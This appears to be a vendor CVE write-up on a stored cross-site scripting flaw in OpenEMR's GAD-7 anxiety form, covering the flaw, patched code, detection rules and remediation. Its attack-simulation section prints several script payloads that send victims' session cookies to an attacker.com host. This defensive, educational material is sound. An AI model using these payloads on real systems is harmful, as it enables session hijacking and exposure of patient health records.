CVE-2025-69231
Executive Summary
CVE-2025-69231 is a stored cross-site scripting (XSS) vulnerability in the GAD-7 anxiety assessment form within OpenEMR, a widely used open-source electronic health records (EHR) system. An authenticated attacker with clinician privileges can inject malicious JavaScript into the GAD-7 form. When other users (including administrators) view the form, the injected script executes in their browser, enabling session hijacking, account takeover, and privilege escalation from clinician to administrator. The vulnerability is present in all versions prior to 8.0.0. The CVSS score is 8.7 (High), and while no public exploit code is available, the attack vector is straightforward for an authenticated user. Immediate patching to version 8.0.0 is critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 8.7 (High)
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs clinician-level authentication.
- User Interaction (UI): Required (R) – The victim must view the malicious form.
- Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
- Confidentiality (C): High (H) – Full data access possible.
- Integrity (I): High (H) – Full data modification possible.
- Availability (A): High (H) – Full system disruption possible.
Threat Level: High. The vulnerability allows a low-privileged user to escalate to full administrator control, compromising the entire EHR system and patient data.
Deep Dive & Mechanics
The GAD-7 form is a standard anxiety assessment tool used in OpenEMR. The vulnerability lies in the form's input handling. When a clinician enters data into the GAD-7 form fields (e.g., patient responses, notes), the application does not properly sanitize or encode the input before storing it in the database. When another user (e.g., an administrator or another clinician) views the submitted form, the stored data is rendered in the browser without proper escaping. This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- Attacker logs in as a clinician.
- Attacker navigates to the GAD-7 form for a patient.
- Attacker injects malicious JavaScript into one of the form fields (e.g.,
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>). - The malicious script is stored in the database.
- An administrator or another clinician views the patient's GAD-7 form.
- The script executes in the victim's browser, sending their session cookie to the attacker.
- The attacker uses the stolen cookie to hijack the session and gain administrator privileges.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-8.0.0): The GAD-7 form likely outputs user input directly without sanitization. Example (pseudocode):
// Vulnerable: Direct output without escaping
echo "<div>" . $patient_response . "</div>";
Patched Code (8.0.0):
The patched version uses proper output encoding, such as htmlspecialchars() or a templating engine that auto-escapes.
// Patched: Escaped output
echo "<div>" . htmlspecialchars($patient_response, ENT_QUOTES, 'UTF-8') . "</div>";
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Access to an OpenEMR instance (version < 8.0.0) with a clinician account.
- A patient record to attach the GAD-7 form to.
Steps:
- Log in as a clinician.
- Navigate to a patient's record and open the GAD-7 form.
- In any text field (e.g., "Patient Response"), inject the following payload:
<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script> - Save the form.
- Wait for an administrator to view the form, or trick them into doing so.
- The administrator's cookie is sent to
attacker.com/steal. - Use the stolen cookie to impersonate the administrator.
Advanced Payload (Session Hijacking):
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/steal?cookie=' + document.cookie, true);
xhr.send();
</script>
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual JavaScript in form submissions (e.g.,
<script>,onerror,onload). - Alert on outbound connections to unknown domains from the OpenEMR web server.
- Review logs for repeated access to the GAD-7 form by a single user.
Prevention:
- Apply the patch (upgrade to 8.0.0).
- Implement a Web Application Firewall (WAF) rule to block
<script>tags in form fields. - Enforce Content Security Policy (CSP) headers to restrict script execution.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains (e.g.,
attacker.com/steal). - Unusual
Refererheaders pointing to the GAD-7 form URL.
- Outbound HTTP requests to attacker-controlled domains (e.g.,
- Host:
- Log entries showing injection of
<script>tags in GAD-7 form fields. - Unexpected session cookies being used from different IP addresses.
- Log entries showing injection of
- Application:
- Stored XSS payloads in the
form_gad7table or similar. - Administrator accounts created by non-admin users.
- Stored XSS payloads in the
Detection Engineering
YARA Rule
rule CVE_2025_69231_Stored_XSS_GAD7 {
meta:
description = "Detects stored XSS payloads in OpenEMR GAD-7 form data"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69231"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
condition:
any of them
}
Sigma Rule
title: OpenEMR GAD-7 Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS in OpenEMR GAD-7 form submissions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '*/gad7*'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of JavaScript in form fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-69231 OpenEMR GAD-7 Stored XSS Outbound"; flow:to_server,established; content:"/steal"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade OpenEMR to version 8.0.0 or later. This is the only complete fix.
- Restrict clinician privileges to only necessary functions until patching is complete.
- Review GAD-7 form data for any suspicious entries and remove them.
Long-term:
- Implement a Content Security Policy (CSP) that blocks inline scripts.
- Use a Web Application Firewall (WAF) with XSS protection rules.
- Conduct regular security training for all users, especially clinicians.
- Enable logging and monitoring for all form submissions.
Workaround (if patching is delayed):
- Disable the GAD-7 form module temporarily.
- Manually sanitize all GAD-7 form inputs using a server-side filter.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert